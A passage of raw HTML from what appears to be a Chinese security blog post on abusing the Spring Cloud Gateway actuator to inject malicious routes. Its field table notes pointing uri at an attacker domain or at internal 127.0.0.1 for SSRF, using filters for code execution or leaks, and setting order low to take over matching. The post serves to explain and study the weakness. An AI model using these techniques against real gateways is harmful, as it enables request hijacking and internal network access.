192); border-collapse: collapse; padding: 8px 14px; min-width: 50px; text-align: left;&quot;&gt;说明&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody style=&quot;box-sizing: border-box;&quot;&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;id&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;String&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;null&lt;/code&gt;（必填）&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;路由唯一标识；POST 时若指定已存在 ID 则覆盖原路由&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;—&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;uri&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;URI&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;null&lt;/code&gt;（必填）&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;投毒核心/SSRF 风险点&lt;/strong&gt;。支持&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;lb://&lt;/code&gt;、&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;http://&lt;/code&gt;、&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;forward:&lt;/code&gt;&amp;nbsp;等 scheme&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;转发目标，可以是&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;http://攻击者域&lt;/code&gt;、&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;lb://微服务名&lt;/code&gt;、&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;http://127.0.0.1:8888&lt;/code&gt;（内网 SSRF）&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;predicates&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;List&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;空列表&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;匹配条件；决定哪些请求命中此路由；&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Path&lt;/code&gt;/&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Header&lt;/code&gt;/&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Query&lt;/code&gt;&amp;nbsp;等&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;断言工厂，必须是网关已注册的工厂名：&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Path&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Query&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Method&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Header&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Host&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Cookie&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;After&lt;/code&gt;&amp;nbsp;/&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RemoteAddr&lt;/code&gt;...&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;filters&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;List&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;空列表&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;RCE/信息泄露潜在载体&lt;/strong&gt;。可改写请求/响应、重定向、鉴权等&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;留空 = 原样转发；可加&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;StripPrefix&lt;/code&gt;（去前缀）、&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;RewritePath&lt;/code&gt;（改写路径）&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;order&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;int&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;0&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;投毒时常设为极小值以抢占匹配&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;数字越小越先匹配&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;box-sizing: border-box;&quot;&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;args._genkey_N&lt;/code&gt;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;—&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;—&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;工厂参数的键名格式，见下方&amp;quot;为什么是 _genkey_0&amp;quot;&lt;/td&gt;&lt;td style=&quot;box-sizing: border-box; border-color: rgb(192, 192, 192); border-collapse: collapse; padding: 8px 14px; min-width: 50px;&quot;&gt;断言或过滤器的具体参数，通过&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;_genkey_0&lt;/code&gt;、&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;_genkey_1&lt;/code&gt;&amp;nbsp;等序号键传递&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;其中&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;_genkey_0&lt;/code&gt;是 Spring Cloud Gateway 的&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;properties&lt;/code&gt;快捷绑定占位键,正常配置如下：&lt;/p&gt;&lt;pre highlighted=&quot;true&quot; style=&quot;box-sizing: border-box; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; margin: 10px auto; color: rgb(51, 51, 51); font-size: 16px; background-color: rgb(240, 241, 243);&quot;&gt;&amp;nbsp;&amp;nbsp;spring:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cloud:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;gateway:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;routes:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;id:&amp;nbsp;myroute
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;uri:&amp;nbsp;http://xxx
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;predicates:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;-&amp;nbsp;Path=/foo/**&lt;/pre&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;Spring Boot 的 Binder 把&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;Path=/foo/**&lt;/code&gt;这个字符串拆成&amp;nbsp;&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none !important;&quot;&gt;name=Path + args={_genkey_0: /foo/**}&lt;/code&gt;&amp;nbsp;&lt;em style=&quot;box-sizing: border-box;&quot;&gt;genkey&lt;/em&gt;（&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;generated key&lt;/strong&gt;）就是自动生成的参数占位键，下标从 0递增。actuator 的 POST 端点接收的就是这个绑定后的格式，即&lt;strong style=&quot;box-sizing: border-box;&quot;&gt;官方约定&lt;/strong&gt;&lt;br style=&quot;box-sizing: border-box; text-align: left;&quot;/&gt;那么下面就可以尝试创建新路由：&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;img src=&quot;https://img2024.cnblogs.com/blog/3768710/202608/3768710-20260819142350148-2081760937.png&quot; alt=&quot;image&quot; loading=&quot;lazy&quot; style=&quot;box-sizing: border-box; border: 0px; max-width: 100%; cursor: zoom-in; height: auto !important; transition: transform 300ms cubic-bezier(0.2, 0, 0.2, 1) !important;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: border-box; margin: 10px auto; color: rgb(51, 51, 51); font-family: -apple-system, &amp;quot;Noto Sans SC&amp;quot;, &amp;quot;PingFang SC&amp;quot;, sans-serif; font-size: 16px; text-wrap-mode: wrap; background-color: rgb(240, 241, 243); text-align: left;&quot;&gt;可以看到成功注册一个新的路由，然后在访问&lt;code style=&quot;box-sizing: border-box; font-family: ui-monospace, SFMono-Regular, &amp;quot;SF Mono&amp;quot;, Menlo, Consolas, &amp;quot;Liberation Mono&amp;quot;, monospace, sans-serif; font-size: 12px; padding: 0px 5px; line-height: 1.8; margin: 0px 3px; display: inline-block; overflow-x: auto; vertical-align: middle; border-radius: 3px; color: rgb(192, 52, 29); background-color: rgba(0, 0, 0, 0.04); border: none 